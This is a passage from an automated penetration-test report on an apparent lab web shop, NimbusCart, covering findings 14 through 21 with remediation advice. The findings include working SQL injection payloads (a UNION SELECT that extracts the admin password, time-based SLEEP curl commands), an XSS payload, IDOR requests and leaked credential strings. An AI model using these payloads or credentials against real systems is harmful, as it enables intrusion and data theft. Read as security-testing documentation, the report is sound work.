0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/app.js</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/app.js</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000/app.js → 200 (400 bytes) [E01]
- Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.) [E02]
Not demonstrated: Leaked internal bearer token likely grants privileged support-tooling access; QA build exposes non-prod behavior.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.
Potential impact: Leaked internal bearer token likely grants privileged support-tooling access; QA build exposes non-prod behavior.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.</p><h4>How to fix it</h4><p>Remove secrets from client code, rotate the token, move config server-side.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/app.js'</pre></li><li><pre class=step>Payload used:
GET /app.js</pre></li></ol><h4>Payload</h4><pre class=payload>GET /app.js</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/app.js → 200
body (400 bytes, excerpt):
Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.)
AGENT-RECORDED EVIDENCE
Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.)</pre></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 14. Hardcoded internal secrets exposed in client JS / developer docs <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A07:2021-Auth-Failures · CWE-798</td><td class=fk>Confidence</td><td>1/1 · receipt_missing · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/app.js ; GET /developers</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns CWE-798</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/app.js ; GET /developers</p><h4>What it means</h4><p>Observed:
- attack GET /developers → 200 (276 bytes) [E01]
- app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.) [E02]
Not demonstrated: Long-lived internal tokens/keys exposed to any anonymous visitor; usable if any endpoint trusts them.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.
Potential impact: Long-lived internal tokens/keys exposed to any anonymous visitor; usable if any endpoint trusts them.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.</p><h4>How to fix it</h4><p>Remove secrets from client assets and public docs; rotate the leaked tokens.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'/developers'</pre></li><li><pre class=step>Payload used:
n/a (static disclosure)</pre></li></ol><h4>Payload</h4><pre class=payload>n/a (static disclosure)</pre><h4>Technical evidence</h4><pre>ATTACK
GET /developers → 200
body (276 bytes, excerpt):
app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.)
AGENT-RECORDED EVIDENCE
app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.)</pre></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 15. Privilege escalation chain: leaked admin password (via NS-01/NS-02) -&gt; admin login accepted <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A07:2021-Auth-Failures · CWE-287</td><td class=fk>Confidence</td><td>0/1 · conf 0.50</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/login</p><h4>What it means</h4><p>Observed:
- attack POST http://localhost:3000/login → 200 (362 bytes) [E01]
- Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -&gt; HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -&gt; SQLi/BOLA -&gt; admin creds -&gt; vertical privesc to admin. [E02]
Not demonstrated: Complete administrative account takeover from an anonymous/low-priv start.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited).
The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.
Potential impact: Complete administrative account takeover from an anonymous/low-priv start.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited).</p><h4>How to fix it</h4><p>Fix NS-01/NS-02 (credential exposure); store passwords hashed (bcrypt/argon2), rotate all leaked secrets.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s -X POST \
--data-raw 'username=admin&amp;password=SuperSecretAdmin!2024' \
'http://localhost:3000/login'</pre></li><li><pre class=step>Payload used:
username=admin&amp;password=SuperSecretAdmin!2024</pre></li></ol><h4>Payload</h4><pre class=payload>username=admin&amp;password=SuperSecretAdmin!2024</pre><h4>Technical evidence</h4><pre>ATTACK
POST http://localhost:3000/login → 200
body (362 bytes, excerpt):
Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -&gt; HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -&gt; SQLi/BOLA -&gt; admin creds -&gt; vertical privesc to admin.
AGENT-RECORDED EVIDENCE
Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -&gt; HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -&gt; SQLi/BOLA -&gt; admin creds -&gt; vertical privesc to admin.</pre></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 16. Second-order SQLi (profile bio -&gt; admin search) chained to admin-panel compromise via looted credential</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>sink GET http://localhost:3000/admin/search-users?q= ; source POST /account/profile (bio)</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>sink GET http://localhost:3000/admin/search-users?q= ; source POST /account/profile (bio)</p><h4>What it means</h4><p>Observed:
- attack GET (bio) → 200 (336 bytes) [E01]
- Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -&gt; logged in POST /login username=admin -&gt; 302 /account, then GET /admin -&gt; 200 '&lt;title&gt;Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh. [E02]
Not demonstrated: Stored injection executes in privileged admin query; combined with credential loot yields full admin-panel takeover end-to-end.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.4 if fully exploited).
The assessment could not verify authenticated session, command output observed — so this remains a potential impact rather than a demonstrated one.
Potential impact: Stored injection executes in privileged admin query; combined with credential loot yields full admin-panel takeover end-to-end.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.4 if fully exploited).</p><h4>How to fix it</h4><p>Parameterize admin search; sanitize stored bio at use; hash passwords.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'(bio)'</pre></li><li><pre class=step>Payload used:
bio = zz' UNION SELECT 'NS_OP_PROOF',password,'pwned','x' FROM users WHERE username='admin'-- -</pre></li></ol><h4>Payload</h4><pre class=payload>bio = zz' UNION SELECT 'NS_OP_PROOF',password,'pwned','x' FROM users WHERE username='admin'-- -</pre><h4>Technical evidence</h4><pre>ATTACK
GET (bio) → 200
body (336 bytes, excerpt):
Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -&gt; logged in POST /login username=admin -&gt; 302 /account, then GET /admin -&gt; 200 '&lt;title&gt;Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh.
AGENT-RECORDED EVIDENCE
Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -&gt; logged in POST /login username=admin -&gt; 302 /account, then GET /admin -&gt; 200 '&lt;title&gt;Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh.</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/second_order_sqli_bio.sh"><code>pocs/second_order_sqli_bio.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 17. Reflected DOM XSS lead: /?name= sink written to innerHTML in /app.js <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>0/1 · receipt_missing · conf 0.00</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/?name=</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: the class is decided by execution and no browser has run the payload</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/?name=</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000/?name= → 200 (344 bytes) [E01]
- app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead. [E02]
Not demonstrated: If confirmed in-browser, reflected/DOM XSS -&gt; session/token theft.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 6.1 if fully exploited).
Potential impact: If confirmed in-browser, reflected/DOM XSS -&gt; session/token theft.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 6.1 if fully exploited).</p><h4>How to fix it</h4><p>Use textContent or sanitize/encode before innerHTML.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/?name='</pre></li><li><pre class=step>Payload used:
?name=&lt;img src=x onerror=...&gt; (browser render required)</pre></li></ol><h4>Payload</h4><pre class=payload>?name=&lt;img src=x onerror=...&gt; (browser render required)</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/?name= → 200
body (344 bytes, excerpt):
app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead.
AGENT-RECORDED EVIDENCE
app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 18. IDOR at GET /account/invoice/:id — customer reads other customers' invoices <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · receipt_missing · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/account/invoice/1001</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/account/invoice/1001</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000/account/invoice/1001 → 200 (330 bytes) [E01]
- As customer nrsplt_26628: /account/invoice/1001 -&gt; 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -&gt; owner bob ($89.99); 1003 -&gt; owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.sh [E02]
Not demonstrated: Enumerate all invoices/PII/order totals across customers.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.
Potential impact: Enumerate all invoices/PII/order totals across customers.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.</p><h4>How to fix it</h4><p>Scope invoice lookup to the authenticated session's own records.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/account/invoice/1001'</pre></li><li><pre class=step>Payload used:
GET /account/invoice/1001..1003 as customer nrsplt_26628</pre></li></ol><h4>Payload</h4><pre class=payload>GET /account/invoice/1001..1003 as customer nrsplt_26628</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/account/invoice/1001 → 200
body (330 bytes, excerpt):
As customer nrsplt_26628: /account/invoice/1001 -&gt; 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -&gt; owner bob ($89.99); 1003 -&gt; owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.sh
AGENT-RECORDED EVIDENCE
As customer nrsplt_26628: /account/invoice/1001 -&gt; 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -&gt; owner bob ($89.99); 1003 -&gt; owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/idor_invoice.sh"><code>pocs/idor_invoice.sh</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 19. IDOR at GET /account/invoice/:id — customer reads other customers' invoices <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 0/2 · receipt_missing · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/account/invoice/1002</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/account/invoice/1002</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000/account/invoice/1002 → 200 (277 bytes) [E01]
- pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002-&gt;'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003-&gt;carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities. [E02]
Not demonstrated: Cross-customer PII/billing disclosure via predictable sequential ids.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Potential impact: Cross-customer PII/billing disclosure via predictable sequential ids.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited).</p><h4>How to fix it</h4><p>Scope invoice lookup to the authenticated user; use unguessable ids as defense-in-depth.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/account/invoice/1002'</pre></li><li><pre class=step>Payload used:
session=alice; GET /account/invoice/1002 (bob), /account/invoice/1003 (carol)</pre></li></ol><h4>Payload</h4><pre class=payload>session=alice; GET /account/invoice/1002 (bob), /account/invoice/1003 (carol)</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/account/invoice/1002 → 200
body (277 bytes, excerpt):
pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002-&gt;'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003-&gt;carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities.
AGENT-RECORDED EVIDENCE
pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002-&gt;'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003-&gt;carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities.</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/invoice_idor.sh"><code>pocs/invoice_idor.sh</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 20. Time-based blind SQL injection at POST /support/feedback (comment field) <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · corroborated by chain · conf 0.55</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/support/feedback</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/support/feedback — Body field `comment` on POST /support/feedback. Reaches a SQL time function; `SLEEP(n)` delays the response by n seconds. Unauthenticated.</p><h4>What it means</h4><p>Observed:
- attack POST http://localhost:3000/support/feedback → 200 (941 bytes) [E01]
- Baseline POST comment=benign_marker_ns -&gt; HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -&gt; 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -&gt; 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -&gt; 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -&gt; 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (&gt;=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build. [E02]
Not demonstrated: MEASURED: attacker-controlled `comment` steers query execution time (SLEEP oracle), enabling boolean/time-based blind extraction of arbitrary DB contents without authentication. Response delay is fully controllable (0/3/5s).
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.
Potential impact: MEASURED: attacker-controlled `comment` steers query execution time (SLEEP oracle), enabling boolean/time-based blind extraction of arbitrary DB contents without authentication. Response delay is fully controllable (0/3/5s).
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.</p><h4>How to fix it</h4><p>Parameterise the INSERT/query behind /support/feedback; do not concatenate `comment` into SQL.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w '%{time_total}\n' -X POST http://localhost:3000/support/feedback --data-urlencode "comment=x'||(SELECT SLEEP(0))-- -" # ~0.00s</pre></li><li><pre class=step>curl -s -o /dev/null -w '%{time_total}\n' -X POST http://localhost:3000/support/feedback --data-urlencode "comment=x'||(SELECT SLEEP(3))-- -" # ~3.00s</pre></li><li><pre class=step>curl -s -o /dev/null -w '%{time_total}\n' -X POST http://localhost:3000/support/feedback --data-urlencode "comment=x'||(SELECT SLEEP(5))-- -" # ~5.00s</pre></li></ol><h4>Payload</h4><pre class=payload>comment=x'||(SELECT SLEEP(3))-- -</pre><h4>Technical evidence</h4><pre>ATTACK
POST http://localhost:3000/support/feedback → 200
body (941 bytes, excerpt):
Baseline POST comment=benign_marker_ns -&gt; HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -&gt; 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -&gt; 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -&gt; 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -&gt; 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (&gt;=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build.
AGENT-RECORDED EVIDENCE
Baseline POST comment=benign_marker_ns -&gt; HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -&gt; 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -&gt; 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -&gt; 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -&gt; 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (&gt;=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 21. Privilege misassignment: GET /account/api-token mints a role:admin JWT for a normal customer <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design · CWE-269</td><td class=fk>Confidence</td><td>0/1 · receipt_missing · conf 0.50</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/account/api-token</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/account/api-token</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000/account/api-token → 200 (122 bytes) [E01]
- Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin. [E02]
Not demonstrated: Any customer obtains an admin-scoped token from the self-service token page; broadens blast radius of any role-gated API.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.
Potential impact: Any customer obtains an admin-scoped token from the self-service token page; broadens blast radius of any role-gated API.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.</p><h4>How to fix it</h4><p>Issue tokens with the user's actual role; do not hardcode role:admin at token issuance.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/account/api-token'</pre></li><li><pre class=step>Payload used:
authenticated as customer alice -&gt; issued JWT</pre></li></ol><h4>Payload</h4><pre class=payload>authenticated as customer alice -&gt; issued JWT</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/account/api-token → 200
body (122 bytes, excerpt):
Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin.
AGENT-RECORDED EVIDENCE
